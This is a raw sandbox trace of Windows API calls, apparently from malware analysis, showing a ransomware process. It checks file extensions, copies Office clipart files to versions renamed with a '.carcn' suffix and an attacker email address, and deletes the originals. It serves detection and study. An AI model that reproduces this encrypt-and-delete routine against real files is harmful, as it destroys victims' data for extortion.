[0295.741] lstrlenW (lpString=".xls") returned 4 [0295.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.741] lstrlenW (lpString=".xlsx") returned 5 [0295.741] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.741] lstrlenW (lpString=".ppt") returned 4 [0295.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0295.741] lstrlenW (lpString=".zip") returned 4 [0295.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.741] lstrlenW (lpString=".rar") returned 4 [0295.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.741] lstrlenW (lpString=".bz2") returned 4 [0295.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.741] lstrlenW (lpString=".7z") returned 3 [0295.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0295.741] lstrlenW (lpString=".dbf") returned 4 [0295.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0295.741] lstrlenW (lpString=".1cd") returned 4 [0295.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0295.741] lstrlenW (lpString=".jpg") returned 4 [0295.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0295.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0295.741] lstrlenW (lpString=".doc") returned 4 [0295.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.742] lstrlenW (lpString=".docx") returned 5 [0295.742] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.742] lstrlenW (lpString=".pdf") returned 4 [0295.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.742] lstrlenW (lpString=".xls") returned 4 [0295.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.742] lstrlenW (lpString=".xlsx") returned 5 [0295.742] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.742] lstrlenW (lpString=".ppt") returned 4 [0295.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0295.742] lstrlenW (lpString=".zip") returned 4 [0295.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.742] lstrlenW (lpString=".rar") returned 4 [0295.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.742] lstrlenW (lpString=".bz2") returned 4 [0295.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.742] lstrlenW (lpString=".7z") returned 3 [0295.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0295.742] lstrlenW (lpString=".dbf") returned 4 [0295.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0295.742] lstrlenW (lpString=".1cd") returned 4 [0295.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0295.742] lstrlenW (lpString=".jpg") returned 4 [0295.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.743] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.743] lstrlenW (lpString="BD07804_.WMF") returned 12 [0295.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0295.743] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=4924) returned 1 [0295.743] CloseHandle (hObject=0x358) returned 1 [0295.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x220 [0295.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0295.745] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.745] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0295.745] GetLastError () returned 0x0 [0295.746] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x133c, lpOverlapped=0x0) returned 1 [0295.747] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1340, lpOverlapped=0x0) returned 1 [0295.748] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.748] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.748] SetEndOfFile (hFile=0x388) returned 1 [0295.749] CloseHandle (hObject=0x388) returned 1 [0295.749] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.749] SetEndOfFile (hFile=0x358) returned 1 [0295.750] CloseHandle (hObject=0x358) returned 1 [0295.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.750] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0295.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0295.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0295.751] lstrlenW (lpString=".doc") returned 4 [0295.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.751] lstrlenW (lpString=".docx") returned 5 [0295.751] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.751] lstrlenW (lpString=".pdf") returned 4 [0295.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.751] lstrlenW (lpString=".xls") returned 4 [0295.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.752] lstrlenW (lpString=".xlsx") returned 5 [0295.752] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.752] lstrlenW (lpString=".ppt") returned 4 [0295.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0295.752] lstrlenW (lpString=".zip") returned 4 [0295.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.752] lstrlenW (lpString=".rar") returned 4 [0295.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.752] lstrlenW (lpString=".bz2") returned 4 [0295.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.752] lstrlenW (lpString=".7z") returned 3 [0295.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0295.752] lstrlenW (lpString=".dbf") returned 4 [0295.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0295.752] lstrlenW (lpString=".1cd") returned 4 [0295.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0295.752] lstrlenW (lpString=".jpg") returned 4 [0295.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0295.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0295.753] lstrlenW (lpString=".doc") returned 4 [0295.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.753] lstrlenW (lpString=".docx") returned 5 [0295.753] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.753] lstrlenW (lpString=".pdf") returned 4 [0295.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.753] lstrlenW (lpString=".xls") returned 4 [0295.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.753] lstrlenW (lpString=".xlsx") returned 5 [0295.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.753] lstrlenW (lpString=".ppt") returned 4 [0295.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0295.753] lstrlenW (lpString=".zip") returned 4 [0295.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.753] lstrlenW (lpString=".rar") returned 4 [0295.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.753] lstrlenW (lpString=".bz2") returned 4 [0295.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.753] lstrlenW (lpString=".7z") returned 3 [0295.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0295.753] lstrlenW (lpString=".dbf") returned 4 [0295.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0295.753] lstrlenW (lpString=".1cd") returned 4 [0295.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0295.754] lstrlenW (lpString=".jpg") returned 4 [0295.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.754] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.754] lstrlenW (lpString="BD07831_.WMF") returned 12 [0295.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0295.754] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=4066) returned 1 [0295.754] CloseHandle (hObject=0x358) returned 1 [0295.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x220 [0295.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0295.755] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.755] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0295.756] GetLastError () returned 0x0 [0295.756] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xfe2, lpOverlapped=0x0) returned 1 [0295.757] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xff0, lpOverlapped=0x0) returned 1 [0295.759] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.759] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.759] SetEndOfFile (hFile=0x388) returned 1 [0295.759] CloseHandle (hObject=0x388) returned 1 [0295.759] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.759] SetEndOfFile (hFile=0x358) returned 1 [0295.761] CloseHandle (hObject=0x358) returned 1 [0295.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0295.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0295.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0295.762] lstrlenW (lpString=".doc") returned 4 [0295.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.762] lstrlenW (lpString=".docx") returned 5 [0295.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.762] lstrlenW (lpString=".pdf") returned 4 [0295.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.762] lstrlenW (lpString=".xls") returned 4 [0295.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.762] lstrlenW (lpString=".xlsx") returned 5 [0295.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.762] lstrlenW (lpString=".ppt") returned 4 [0295.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0295.762] lstrlenW (lpString=".zip") returned 4 [0295.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.762] lstrlenW (lpString=".rar") returned 4 [0295.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.762] lstrlenW (lpString=".bz2") returned 4 [0295.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.762] lstrlenW (lpString=".7z") returned 3 [0295.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0295.762] lstrlenW (lpString=".dbf") returned 4 [0295.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0295.762] lstrlenW (lpString=".1cd") returned 4 [0295.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0295.763] lstrlenW (lpString=".jpg") returned 4 [0295.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0295.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0295.763] lstrlenW (lpString=".doc") returned 4 [0295.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.763] lstrlenW (lpString=".docx") returned 5 [0295.763] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.763] lstrlenW (lpString=".pdf") returned 4 [0295.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.763] lstrlenW (lpString=".xls") returned 4 [0295.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.763] lstrlenW (lpString=".xlsx") returned 5 [0295.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.763] lstrlenW (lpString=".ppt") returned 4 [0295.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0295.763] lstrlenW (lpString=".zip") returned 4 [0295.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.763] lstrlenW (lpString=".rar") returned 4 [0295.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.763] lstrlenW (lpString=".bz2") returned 4 [0295.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.763] lstrlenW (lpString=".7z") returned 3 [0295.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0295.764] lstrlenW (lpString=".dbf") returned 4 [0295.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0295.764] lstrlenW (lpString=".1cd") returned 4 [0295.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0295.764] lstrlenW (lpString=".jpg") returned 4 [0295.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.764] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.764] lstrlenW (lpString="BD08758_.WMF") returned 12 [0295.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0295.765] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=24320) returned 1 [0295.765] CloseHandle (hObject=0x358) returned 1 [0295.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x220 [0295.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0295.765] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.765] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0295.766] GetLastError () returned 0x0 [0295.766] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x5f00, lpOverlapped=0x0) returned 1 [0295.768] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x5f10, lpOverlapped=0x0) returned 1 [0296.169] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.169] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.169] SetEndOfFile (hFile=0x388) returned 1 [0296.169] CloseHandle (hObject=0x388) returned 1 [0296.169] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.169] SetEndOfFile (hFile=0x358) returned 1 [0296.171] CloseHandle (hObject=0x358) returned 1 [0296.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0296.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0296.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0296.172] lstrlenW (lpString=".doc") returned 4 [0296.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.172] lstrlenW (lpString=".docx") returned 5 [0296.172] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.172] lstrlenW (lpString=".pdf") returned 4 [0296.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.172] lstrlenW (lpString=".xls") returned 4 [0296.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.172] lstrlenW (lpString=".xlsx") returned 5 [0296.172] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.172] lstrlenW (lpString=".ppt") returned 4 [0296.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0296.172] lstrlenW (lpString=".zip") 